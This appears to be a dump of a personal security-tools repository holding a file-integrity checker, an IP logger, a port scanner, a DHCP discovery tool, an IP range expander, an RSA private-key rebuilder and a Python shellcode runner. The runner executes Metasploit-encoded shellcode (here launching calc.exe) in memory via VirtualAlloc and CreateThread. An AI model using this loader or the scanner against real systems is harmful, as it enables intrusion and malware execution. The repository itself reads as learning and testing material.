's/.*--\([^[:space:].,]*\).*/--\1/'| \ 742 | #grep ^"$2" |sort -u ; 743 | $1 --help | grep -o -e "--[^[:space:].,]*" | grep -e "$2" |sort -u 744 | } 745 | 746 | _longopts() 747 | { 748 | local cur 749 | cur=${COMP_WORDS[COMP_CWORD]} 750 | 751 | case "${cur:-*}" in 752 | -*) ;; 753 | *) return ;; 754 | esac 755 | 756 | case "$1" in 757 | \~*) eval cmd="$1" ;; 758 | *) cmd="$1" ;; 759 | esac 760 | COMPREPLY=( $(_get_longopts ${1} ${cur} ) ) 761 | } 762 | complete -o default -F _longopts configure bash 763 | complete -o default -F _longopts wget id info a2ps ls recode 764 | 765 | _tar() 766 | { 767 | local cur ext regex tar untar 768 | 769 | COMPREPLY=() 770 | cur=${COMP_WORDS[COMP_CWORD]} 771 | 772 | # If we want an option, return the possible long options. 773 | case "$cur" in 774 | -*) COMPREPLY=( $(_get_longopts $1 $cur ) ); return 0;; 775 | esac 776 | 777 | if [ $COMP_CWORD -eq 1 ]; then 778 | COMPREPLY=( $( compgen -W 'c t x u r d A' -- $cur ) ) 779 | return 0 780 | fi 781 | 782 | case "${COMP_WORDS[1]}" in 783 | ?(-)c*f) 784 | COMPREPLY=( $( compgen -f $cur ) ) 785 | return 0 786 | ;; 787 | +([^Izjy])f) 788 | ext='tar' 789 | regex=$ext 790 | ;; 791 | *z*f) 792 | ext='tar.gz' 793 | regex='t\(ar\.\)\(gz\|Z\)' 794 | ;; 795 | *[Ijy]*f) 796 | ext='t?(ar.)bz?(2)' 797 | regex='t\(ar\.\)bz2\?' 798 | ;; 799 | *) 800 | COMPREPLY=( $( compgen -f $cur ) ) 801 | return 0 802 | ;; 803 | 804 | esac 805 | 806 | if [[ "$COMP_LINE" == tar*.$ext' '* ]]; then 807 | # Complete on files in tar file. 808 | # 809 | # Get name of tar file from command line. 810 | tar=$( echo "$COMP_LINE" | \ 811 | sed -e 's|^.* \([^ ]*'$regex'\) .*$|\1|' ) 812 | # Devise how to untar and list it. 813 | untar=t${COMP_WORDS[1]//[^Izjyf]/} 814 | 815 | COMPREPLY=( $( compgen -W "$( echo $( tar $untar $tar \ 816 | 2>/dev/null ) )" -- "$cur" ) ) 817 | return 0 818 | 819 | else 820 | # File completion on relevant files. 821 | COMPREPLY=( $( compgen -G $cur\*.$ext ) ) 822 | 823 | fi 824 | 825 | return 0 826 | 827 | } 828 | 829 | complete -F _tar -o default tar 830 | 831 | _make() 832 | { 833 | local mdef makef makef_dir="." makef_inc gcmd cur prev i; 834 | COMPREPLY=(); 835 | cur=${COMP_WORDS[COMP_CWORD]}; 836 | prev=${COMP_WORDS[COMP_CWORD-1]}; 837 | case "$prev" in 838 | -*f) 839 | COMPREPLY=($(compgen -f $cur )); 840 | return 0 841 | ;; 842 | esac; 843 | case "$cur" in 844 | -*) 845 | COMPREPLY=($(_get_longopts $1 $cur )); 846 | return 0 847 | ;; 848 | esac; 849 | 850 | # ... make reads 851 | # GNUmakefile, 852 | # then makefile 853 | # then Makefile ... 854 | if [ -f ${makef_dir}/GNUmakefile ]; then 855 | makef=${makef_dir}/GNUmakefile 856 | elif [ -f ${makef_dir}/makefile ]; then 857 | makef=${makef_dir}/makefile 858 | elif [ -f ${makef_dir}/Makefile ]; then 859 | makef=${makef_dir}/Makefile 860 | else 861 | makef=${makef_dir}/*.mk # Local convention. 862 | fi 863 | 864 | 865 | # Before we scan for targets, see if a Makefile name was 866 | #+ specified with -f. 867 | for (( i=0; i < ${#COMP_WORDS[@]}; i++ )); do 868 | if [[ ${COMP_WORDS[i]} == -f ]]; then 869 | # eval for tilde expansion 870 | eval makef=${COMP_WORDS[i+1]} 871 | break 872 | fi 873 | done 874 | [ ! -f $makef ] && return 0 875 | 876 | # Deal with included Makefiles. 877 | makef_inc=$( grep -E '^-?include' $makef | 878 | sed -e "s,^.* ,"$makef_dir"/," ) 879 | for file in $makef_inc; do 880 | [ -f $file ] && makef="$makef $file" 881 | done 882 | 883 | 884 | # If we have a partial word to complete, restrict completions 885 | #+ to matches of that word. 886 | if [ -n "$cur" ]; then gcmd='grep "^$cur"' ; else gcmd=cat ; fi 887 | 888 | COMPREPLY=( $( awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ \ 889 | {split($1,A,/ /);for(i in A)print A[i]}' \ 890 | $makef 2>/dev/null | eval $gcmd )) 891 | 892 | } 893 | 894 | complete -F _make -X '+($*|*.[cho])' make gmake pmake 895 | 896 | 897 | 898 | 899 | _killall() 900 | { 901 | local cur prev 902 | COMPREPLY=() 903 | cur=${COMP_WORDS[COMP_CWORD]} 904 | 905 | # Get a list of processes 906 | #+ (the first sed evaluation 907 | #+ takes care of swapped out processes, the second 908 | #+ takes care of getting the basename of the process). 909 | COMPREPLY=( $( ps -u $USER -o comm | \ 910 | sed -e '1,1d' -e 's#[]\[]##g' -e 's#^.*/##'| \ 911 | awk '{if ($0 ~ /^'$cur'/) print $0}' )) 912 | 913 | return 0 914 | } 915 | 916 | complete -F _killall killall killps 917 | 918 | 919 | 920 | # Local Variables: 921 | # mode:shell-script 922 | # sh-shell:bash 923 | # End: -------------------------------------------------------------------------------- /FileIntegrity/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | bin/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # Installer logs 26 | pip-log.txt 27 | pip-delete-this-directory.txt 28 | 29 | # Unit test / coverage reports 30 | htmlcov/ 31 | .tox/ 32 | .coverage 33 | .cache 34 | nosetests.xml 35 | coverage.xml 36 | 37 | # Translations 38 | *.mo 39 | 40 | # Mr Developer 41 | .mr.developer.cfg 42 | .project 43 | .pydevproject 44 | 45 | # Rope 46 | .ropeproject 47 | 48 | # Django stuff: 49 | *.log 50 | *.pot 51 | 52 | # Sphinx documentation 53 | docs/_build/ 54 | 55 | # Project Specific 56 | email.conf -------------------------------------------------------------------------------- /FileIntegrity/README.md: -------------------------------------------------------------------------------- 1 | FileIntegrity 2 | =============== 3 | 4 | A file (for example: .bashrc) integrity checker (using MD5 hashes) written in Python 5 | -------------------------------------------------------------------------------- /FileIntegrity/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/FileIntegrity/__init__.py -------------------------------------------------------------------------------- /FileIntegrity/fileintegrity.py: -------------------------------------------------------------------------------- 1 | import difflib 2 | import getpass 3 | import hashlib 4 | import os 5 | from os.path import basename 6 | import requests 7 | import shutil 8 | import smtplib 9 | from urllib.parse import urlparse 10 | 11 | def calculateOriginalValues(fileUrl, tempFile): 12 | r = requests.get(fileUrl) 13 | with open(tempFile, "w") as f: 14 | f.write(r.content) 15 | f.close() 16 | with open(tempFile, "rb") as f: 17 | return hashlib.md5(f.read()).hexdigest() 18 | 19 | def compareHashes(originalHash, originalFile, fileName): 20 | with open(fileName, "rb") as f: 21 | calculated_md5 = hashlib.md5(f.read()).hexdigest() 22 | 23 | if originalHash == calculated_md5: 24 | print("MD5 verified.") 25 | return None 26 | else: 27 | print("MD5 verification failed!") 28 | 29 | file1 = open(fileName, "rb").readlines() 30 | file2 = open(originalFile, "rb").readlines() 31 | 32 | diff = difflib.ndiff(file1, file2) 33 | 34 | if not os.path.exists("modified"): 35 | os.makedirs("modified") 36 | else: 37 | shutil.rmtree("modified") 38 | os.makedirs("modified") 39 | 40 | os.rename(fileName, "modified/"+fileName+"_modified") 41 | os.rename(originalFile, fileName) 42 | 43 | differences = "" 44 | 45 | try: 46 | while 1: 47 | diff_string = next(diff) 48 | if not (diff_string[0] == " "): 49 | differences += diff_string + "\r\n" 50 | if diff is None: 51 | pass 52 | except: 53 | pass 54 | return differences 55 | 56 | def sendEmail(configFile, diffString, isSSL, hasAuth): 57 | config = {} 58 | exec(compile(open(configFile).read(), configFile, 'exec'), config) 59 | 60 | sender = config["sender"] 61 | recipient = config["recipient"] 62 | subject = config["subject"] 63 | body = diffString 64 | 65 | headers = ["From: " + sender, 66 | "Subject: " + subject, 67 | "To: " + recipient, 68 | "MIME-Version: 1.0", 69 | "Content-Type: text/plain"] 70 | headers = "\r\n".join(headers) 71 | 72 | server = smtplib.SMTP(config["server"], config["serverPort"]) 73 | if isSSL: 74 | server.ehlo() 75 | server.starttls() 76 | server.ehlo() 77 | if hasAuth: 78 | password = getpass.getpass("Enter the password for " + sender + ": ") 79 | server.login(sender, password) 80 | server.sendmail(sender, recipient, headers + "\r\n\r\n" + body) 81 | server.close() 82 | 83 | def main(): 84 | fileUrl = ("https://raw.githubusercontent.com/" 85 | "doyler/FileIntegrity/master/.bashrc") 86 | tempFile = "temp.txt" 87 | fileName = basename(urlparse(fileUrl).path) 88 | 89 | originalHash = calculateOriginalValues(fileUrl, tempFile) 90 | diffString = compareHashes(originalHash, tempFile, fileName) 91 | if diffString is not None: 92 | sendEmail("email.conf", diffString, True, True) 93 | else: 94 | if os.path.isfile(tempFile): 95 | os.remove(tempFile) 96 | 97 | if __name__ == '__main__': 98 | main() 99 | -------------------------------------------------------------------------------- /GetIP/.gitignore: -------------------------------------------------------------------------------- 1 | # Project Specific 2 | IPs.txt -------------------------------------------------------------------------------- /GetIP/GetIP.ps1: -------------------------------------------------------------------------------- 1 | $invocation = (Get-Variable MyInvocation).Value 2 | $directorypath = Split-Path $invocation.MyCommand.Path 3 | 4 | try { 5 | $ip = Invoke-RestMethod http://ipinfo.io/json | Select -exp ip 6 | $hostname = $env:COMPUTERNAME.ToLower() 7 | $date = Get-Date -format "MMM dd \@ HH\:mm" 8 | Add-Content "$directorypath\IPs.txt" "$date HOST: $hostname - $ip" 9 | } 10 | catch { 11 | Write-Output $_ 12 | } -------------------------------------------------------------------------------- /GetIP/README.md: -------------------------------------------------------------------------------- 1 | GetIP 2 | =============== 3 | 4 | A PowerShell script to get the IP and hostname of the current machine and place them in a time-stampped text file. -------------------------------------------------------------------------------- /GetIP/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/GetIP/__init__.py -------------------------------------------------------------------------------- /HackerScripts/README.md: -------------------------------------------------------------------------------- 1 | HackerScripts 2 | =============== 3 | 4 | Some (joke) "hacker" batch files to make your demos more interesting, or just to show off to your friends. -------------------------------------------------------------------------------- /HackerScripts/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/HackerScripts/__init__.py -------------------------------------------------------------------------------- /HackerScripts/hacker1.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | :random 3 | color A 4 | echo %random%%random%%random%%random%%random%%random% 5 | goto :random -------------------------------------------------------------------------------- /HackerScripts/hacker2.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | :random 3 | color 07 4 | ipconfig /all 5 | color 7c 6 | ping -n 3 -w 1 127.0.0.1 7 | goto :random -------------------------------------------------------------------------------- /ImageExtract/README.md: -------------------------------------------------------------------------------- 1 | # Image Excract 2 | A script to extract any image tags from an HTML document and download them to the local system. 3 | 4 | # Requirements 5 | * Requires a few Python libraries (BeautifulSoup) 6 | * Needs a properly formatted HTML document, or at least something that can be parsed -------------------------------------------------------------------------------- /ImageExtract/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/ImageExtract/__init__.py -------------------------------------------------------------------------------- /ImageExtract/imgExtract.py: -------------------------------------------------------------------------------- 1 | import bs4 2 | import re 3 | import requests 4 | import shutil 5 | import sys 6 | from urllib import urlopen 7 | 8 | links = [] 9 | origLinks = [] 10 | 11 | # https://stackoverflow.com/questions/18042661/using-bs4-to-extract-text-in-html-files 12 | page = urlopen('posts.txt').read().decode('utf-8') 13 | soup = bs4.BeautifulSoup(page, "html.parser") 14 | for node in soup.findAll('img'): 15 | #print(node['src']) 16 | links.append(node['src']) 17 | 18 | # https://docs.python.org/3.4/library/re.html 19 | for link in links: 20 | if re.search("-[0-9]*x[0-9]*\.jpg", link): 21 | origLinks.append(re.sub("-[0-9]*x[0-9]*\.jpg", ".jpg", link)) 22 | else: 23 | origLinks.append(link) 24 | 25 | # https://www.dev2qa.com/how-to-download-image-file-from-url-use-python-requests-or-wget-module/ 26 | for link in origLinks: 27 | filename = "" 28 | if link.find('/'): 29 | filename = link.rsplit('/', 1)[1] 30 | 31 | resp = requests.get(link, stream=True) 32 | localFile = open(filename, 'wb') 33 | resp.raw.decode_content = True 34 | shutil.copyfileobj(resp.raw, localFile) 35 | del resp -------------------------------------------------------------------------------- /IpExpander/README.md: -------------------------------------------------------------------------------- 1 | # IpExpander 2 | A Python script to expand a file containing IP addresses, CIDRs, and ranges to a file containing one IP address per line. 3 | 4 | # Features 5 | * Takes an input text file containing IP address notation and expands it into one output text file 6 | * Open for more suggestions! 7 | * See the following post for more information - https://www.doyler.net/security-not-included/ipexpander-netaddr 8 | 9 | # TODO 10 | * Add ability to expand ranges where the hyphen is in a different octet 11 | * See how easy it would be without netaddr (less external dependencies) 12 | * Clean up the code -------------------------------------------------------------------------------- /IpExpander/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/IpExpander/__init__.py -------------------------------------------------------------------------------- /IpExpander/ipExpander.py: -------------------------------------------------------------------------------- 1 | from netaddr import * 2 | import pprint 3 | 4 | def isIP(inLine): 5 | try: 6 | ip = IPAddress(inLine) 7 | except: 8 | return False 9 | return True 10 | 11 | def isCIDR(inLine): 12 | try: 13 | ip_list = IPNetwork(inLine) 14 | except: 15 | return False 16 | return True 17 | 18 | def expandCIDR(inCIDR): 19 | return list(IPNetwork(inCIDR)) 20 | 21 | def isRange(inLine): 22 | if "-" in inLine: 23 | return True 24 | else: 25 | return False 26 | 27 | def expandRange(inRange): 28 | splitRange = inRange.split("-") 29 | try: 30 | startIP = IPAddress(splitRange[0]) 31 | except: 32 | print("***** ERROR *****: " + splitRange[0]) 33 | 34 | endRange = splitRange[1] 35 | 36 | try: 37 | int(endRange) 38 | if int(endRange) <= 255: 39 | endNet = str(IPNetwork(str(startIP).strip() + '/24').network) 40 | endIP = endNet.rsplit(".", 1)[0] + "." + endRange 41 | else: 42 | print("***** ERROR *****: " + endRange) 43 | except ValueError: 44 | try: 45 | endIP = IPAddress(endRange) 46 | except: 47 | print("***** ERROR *****: " + splitRange[0]) 48 | 49 | return list(iter_iprange(startIP, endIP)) 50 | 51 | def getTargets(inFile): 52 | with open(inFile) as f: 53 | lines = f.readlines() 54 | return lines 55 | 56 | def newFile(outList, fileName): 57 | with open(fileName.split(".")[0] + "-expanded.txt", "w") as text_file: 58 | for addr in outList: 59 | text_file.write(str(addr) + "\n") 60 | 61 | def main(): 62 | inFile = "external-targets.txt" 63 | lines = getTargets(inFile) 64 | 65 | finalList = [] 66 | 67 | for line in lines: 68 | line = line.strip() 69 | if isIP(line): 70 | finalList.append(IPAddress(line)) 71 | elif isCIDR(line): 72 | expanded = expandCIDR(line) 73 | finalList.extend(expanded) 74 | elif isRange(line): 75 | expanded = expandRange(line) 76 | finalList.extend(expanded) 77 | else: 78 | print("***** ERROR *****: " + line) 79 | 80 | newFile(sorted(finalList), inFile) 81 | 82 | if __name__ == '__main__': 83 | main() 84 | -------------------------------------------------------------------------------- /PortScanner/README.md: -------------------------------------------------------------------------------- 1 | PortScanner 2 | =============== 3 | 4 | A simple script for testing for open ports on a server or host written in Python 5 | -------------------------------------------------------------------------------- /PortScanner/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/PortScanner/__init__.py -------------------------------------------------------------------------------- /PortScanner/portScanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | hosts = ["192.168.1.1", "192.168.2.1", "192.168.2.2", "192.168.2.10"] 4 | 5 | lowPort = 1 6 | highPort = 65535 7 | ports = [22, 23, 80, 443, 445, 3389] 8 | #ports = range(lowPort, highPort) 9 | 10 | for host in hosts: 11 | for port in ports: 12 | try: 13 | print("[+] Connecting to " + host + ":" + str(port)) 14 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | s.settimeout(5) 16 | result = s.connect_ex((host, port)) 17 | #banner = s.recv(1024) # Will cause a timeout w/o a response 18 | if result == 0: 19 | print(" [*] Port " + str(port) + " open!") 20 | s.close() 21 | except: 22 | pass 23 | -------------------------------------------------------------------------------- /PyDHCPDiscover/README.md: -------------------------------------------------------------------------------- 1 | # PyDHCPDiscover 2 | A tool for detecting DHCP servers on the local network written in Python 3 | 4 | # Features 5 | * Sending out of DHCP Discovery packets 6 | * Recieving and parsing of DHCP Offer packets 7 | 8 | ![Execution](https://www.doyler.net/wp-content/uploads/PyDHCPDiscover/pydhcpdiscover-1-caught.png) 9 | 10 | # TODO 11 | * Add support for more DHCP options 12 | * Add support for more DHCP requests/responses 13 | * Verify/add support for multiple DNS servers 14 | * Better error handling 15 | * Consistent sorting of output 16 | * Option to accept DHCP offers? -------------------------------------------------------------------------------- /PyDHCPDiscover/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/PyDHCPDiscover/__init__.py -------------------------------------------------------------------------------- /PyDHCPDiscover/dhcpdiscover.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | from uuid import getnode as get_mac 4 | from random import randint 5 | 6 | # Based on http://code.activestate.com/recipes/577649-dhcp-query/ 7 | 8 | def strToIP(input): 9 | return '.'.join(str(int(x.encode('hex'), 16)) for x in input) 10 | 11 | def getMacString(): 12 | mac = str(hex(get_mac())[2:]) 13 | while (len(mac) < 12): 14 | mac = '0' + mac 15 | macB = '' 16 | for i in range(0, 12, 2) : 17 | m = int(mac[i:i + 2], 16) 18 | macB += struct.pack('!B', m) 19 | return macB 20 | 21 | def genTransactionID(): 22 | transactionID = '' 23 | for i in range(4): 24 | t = randint(0, 255) 25 | transactionID += struct.pack('!B', t) 26 | return transactionID 27 | 28 | def buildDiscoverPacket(transactionID): 29 | # en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol#DHCP_discovery 30 | 31 | packet = b'' 32 | # Message type: Boot Request (1) 33 | packet += b'\x01' 34 | # Hardware type: Ethernet 35 | packet += b'\x01' 36 | # Hardware address length: 6 37 | packet += b'\x06' 38 | # Hops: 0 39 | packet += b'\x00' 40 | # Transaction ID 41 | packet += transactionID 42 | # Seconds elapsed: 0 43 | packet += b'\x00\x00' 44 | # Bootp flags: 0x8000 (Broadcast) + reserved flags 45 | packet += b'\x80\x00' 46 | # Client IP address: 0.0.0.0 47 | packet += b'\x00\x00\x00\x00' 48 | # Your (client) IP address: 0.0.0.0 49 | packet += b'\x00\x00\x00\x00' 50 | # Next server IP address: 0.0.0.0 51 | packet += b'\x00\x00\x00\x00' 52 | # Relay agent IP address: 0.0.0.0 53 | packet += b'\x00\x00\x00\x00' 54 | # Client MAC address 55 | packet += getMacString() 56 | # Client hardware address padding: 00000000000000000000 57 | packet += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 58 | # Server host name not given 59 | packet += b'\x00' * 67 60 | # Boot file name not given 61 | packet += b'\x00' * 125 62 | # Magic cookie: DHCP 63 | packet += '\x63\x82\x53\x63' 64 | # Option: (t=53,l=1) DHCP Message Type = DHCP Discover 65 | packet += b'\x35\x01\x01' 66 | # Option: (t=61,l=6) Client MAC 67 | packet += b'\x3d\x06' + getMacString() 68 | # Option: (t=55,l=3) Parameter Request List 69 | packet += b'\x37\x03\x03\x01\x06' 70 | # End Option 71 | packet += b'\xff' 72 | return packet 73 | 74 | def getOption(key, value): 75 | # en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol#DHCP_options 76 | 77 | optName = 'Option not found' 78 | optValue = 'N/A' 79 | 80 | if key is 1: 81 | optName = 'Subnet Mask' 82 | optValue = strToIP(value) 83 | elif key is 3: 84 | optName = 'Available Router' 85 | optValue = strToIP(value) 86 | elif key is 6: 87 | optName = 'Domain Name Server(s)' 88 | optValue = strToIP(value) 89 | elif key is 28: 90 | optName = 'Broadcast Address' 91 | optValue = strToIP(value) 92 | elif key is 51: 93 | optName = 'IP address Lease Time' 94 | optValue = str(struct.unpack('!L', value)[0]) 95 | elif key is 53: 96 | optName = 'DHCP Message Type' 97 | if ord(value) is 1: 98 | optValue = 'DHCP Discover message (DHCPDiscover)' 99 | elif ord(value) is 2: 100 | optValue = 'DHCP Offer message (DHCPOffer)' 101 | elif ord(value) is 3: 102 | optValue = 'DHCP Request message (DHCPRequest)' 103 | elif ord(value) is 4: 104 | optValue = 'DHCP Decline message (DHCPDecline)' 105 | elif ord(value) is 5: 106 | optValue = 'DHCP Acknowledgment message (DHCPAck)' 107 | elif ord(value) is 6: 108 | optValue = 'DHCP Negative Acknowledgment message (DHCPNak)' 109 | else: 110 | optValue = 'Message type not supported' 111 | elif key is 54: 112 | optName = 'Server Identifier' 113 | optValue = strToIP(value) 114 | elif key is 58: 115 | optName = 'Renewal (T1) Time Value' 116 | optValue = str(struct.unpack('!L', value)[0]) 117 | elif key is 59: 118 | optName = 'Rebinding (T2) Time Value' 119 | optValue = str(struct.unpack('!L', value)[0]) 120 | return [optName, optValue] 121 | 122 | def unpackOfferPacket(data, transactionID): 123 | # en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol#DHCP_offer 124 | 125 | #print(':'.join(x.encode('hex') for x in data)) 126 | if (data[4:8] == transactionID): 127 | print('\nDHCP SERVER FOUND!\n-------------------') 128 | 129 | offerIP = strToIP(data[16:20]) 130 | nextServerIP = strToIP(data[20:24]) 131 | dhcpOptions = data[240:] 132 | optionsDict = {} 133 | optionsOut = [] 134 | toPrint = {} 135 | nextOption = dhcpOptions[0] 136 | while ord(nextOption) is not 255: 137 | optionKey = ord(nextOption) 138 | optionLen = ord(dhcpOptions[1]) 139 | optionVal = dhcpOptions[2:2+optionLen] 140 | optionsDict[optionKey] = optionVal 141 | dhcpOptions = dhcpOptions[2+optionLen:] 142 | nextOption = dhcpOptions[0] 143 | 144 | for key in optionsDict: 145 | optionsOut.append(getOption(key, optionsDict[key])) 146 | 147 | #print(optionsOut) 148 | 149 | # Current iteration may not properly support more than one DNS server 150 | """ 151 | DNS = [] 152 | dnsNB = ord(data[268])/4 153 | for i in range(0, 4 * dnsNB, 4): 154 | DNS.append(strToIP(data[269 + i :269 + i + 4])) 155 | print('{0:20s}'.format('DNS Servers') + ' : ') 156 | if DNS: 157 | print(' {0:15s}'.format(DNS[0])) 158 | if len(DNS) > 1: 159 | for i in range(1, len(DNS)): 160 | print(' {0:22s} {1:15s}'.format(' ', DNS[i])) 161 | """ 162 | 163 | for i in range(len(optionsOut)): 164 | print('{0:25s} : {1:15s}'.format(optionsOut[i][0], optionsOut[i][1])) 165 | 166 | print('{0:25s} : {1:15s}'.format('Offered IP Address', offerIP)) 167 | print('{0:25s} : {1:15s}'.format('Gateway IP Address', nextServerIP)) 168 | print('') 169 | 170 | dhcpSrv = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 171 | dhcpSrv.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) 172 | dhcpSrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 173 | 174 | try: 175 | dhcpSrv.bind(('192.168.5.100', 68)) 176 | except Exception as ex: 177 | print('There was an exception with the bind: ' + str(ex)) 178 | dhcpSrv.close() 179 | #exit() 180 | 181 | transactionID = genTransactionID() 182 | 183 | dhcpSrv.sendto(buildDiscoverPacket(transactionID), ('', 67)) 184 | 185 | print('\nDHCP Discover sent, waiting for reply\n') 186 | 187 | dhcpSrv.settimeout(3) 188 | try: 189 | while (1): 190 | data = dhcpSrv.recv(2048) 191 | #print(str(data)) 192 | unpackOfferPacket(data, transactionID) 193 | except Exception as ex: 194 | if 'timed out' not in ex: 195 | print('There was an exception with the offer: ' + str(ex)) 196 | 197 | dhcpSrv.close() 198 | -------------------------------------------------------------------------------- /PythonShellcode/README.md: -------------------------------------------------------------------------------- 1 | PythonShellcode 2 | =============== 3 | 4 | A simple script for executing shellcode in Python (as opposed to C) 5 | -------------------------------------------------------------------------------- /PythonShellcode/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/PythonShellcode/__init__.py -------------------------------------------------------------------------------- /PythonShellcode/pythonShellcode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import ctypes 3 | 4 | # Shellcode 5 | # x86/shikata_ga_nai succeeded with size 227 (iteration=1) 6 | # Metasploit windows/exec calc.exe 7 | shellcode = bytearray( 8 | "\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9" 9 | "\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3" 10 | "\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5" 11 | "\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71" 12 | "\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0" 13 | "\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16" 14 | "\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd" 15 | "\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a" 16 | "\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93" 17 | "\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20" 18 | "\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc" 19 | "\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc" 20 | "\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda" 21 | "\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e" 22 | "\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92" 23 | "\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2" 24 | "\x5e\xa4\xb4") 25 | 26 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 27 | ctypes.c_int(len(shellcode)), 28 | ctypes.c_int(0x3000), 29 | ctypes.c_int(0x40)) 30 | 31 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 32 | 33 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 34 | buf, 35 | ctypes.c_int(len(shellcode))) 36 | 37 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 38 | ctypes.c_int(0), 39 | ctypes.c_int(ptr), 40 | ctypes.c_int(0), 41 | ctypes.c_int(0), 42 | ctypes.pointer(ctypes.c_int(0))) 43 | 44 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SecurityTools 2 | A single repository for any security tools, scripts, documentation, etc. that I add 3 | -------------------------------------------------------------------------------- /RSAGenKey/README.md: -------------------------------------------------------------------------------- 1 | A simple script to output a configuration file for OpenSSL asn1parse written in Python. 2 | -------------------------------------------------------------------------------- /RSAGenKey/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/RSAGenKey/__init__.py -------------------------------------------------------------------------------- /RSAGenKey/genKey.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | def egcd(a, b): 4 | if a == 0: 5 | return (b, 0, 1) 6 | else: 7 | g, y, x = egcd(b % a, a) 8 | return (g, x - (b // a) * y, y) 9 | 10 | def modinv(a, m): 11 | gcd, x, y = egcd(a, m) 12 | if gcd != 1: 13 | return None # modular inverse does not exist 14 | else: 15 | return x % m 16 | 17 | def main(): 18 | p = 275778021469467750604832321873164071587 # edit with factor #1 19 | q = 291309854232898176366046870573797527117 # edit with factor #2 20 | n = 80336855234907714168477675917972994189398342031083238074132216291031761724679 # edit with modulus 21 | e = 65537 # edit if exponent is different 22 | 23 | phi = (p -1)*(q-1) 24 | d = modinv(e,phi) 25 | dp = modinv(e,(p-1)) 26 | dq = modinv(e,(q-1)) 27 | qi = modinv(q,p) 28 | 29 | print("asn1=SEQUENCE:rsa_key") 30 | print("") 31 | print("[rsa_key]") 32 | print("version=INTEGER:0") 33 | print("modulus=INTEGER:" + str(n)) 34 | print("pubExp=INTEGER:" + str(e)) 35 | print("privExp=INTEGER:" + str(d)) 36 | print("p=INTEGER:" + str(p)) 37 | print("q=INTEGER:" + str(q)) 38 | print("e1=INTEGER:" + str(dp)) 39 | print("e2=INTEGER:" + str(dq)) 40 | print("coeff=INTEGER:" + str(qi)) 41 | 42 | if __name__ == "__main__": 43 | main() 44 | 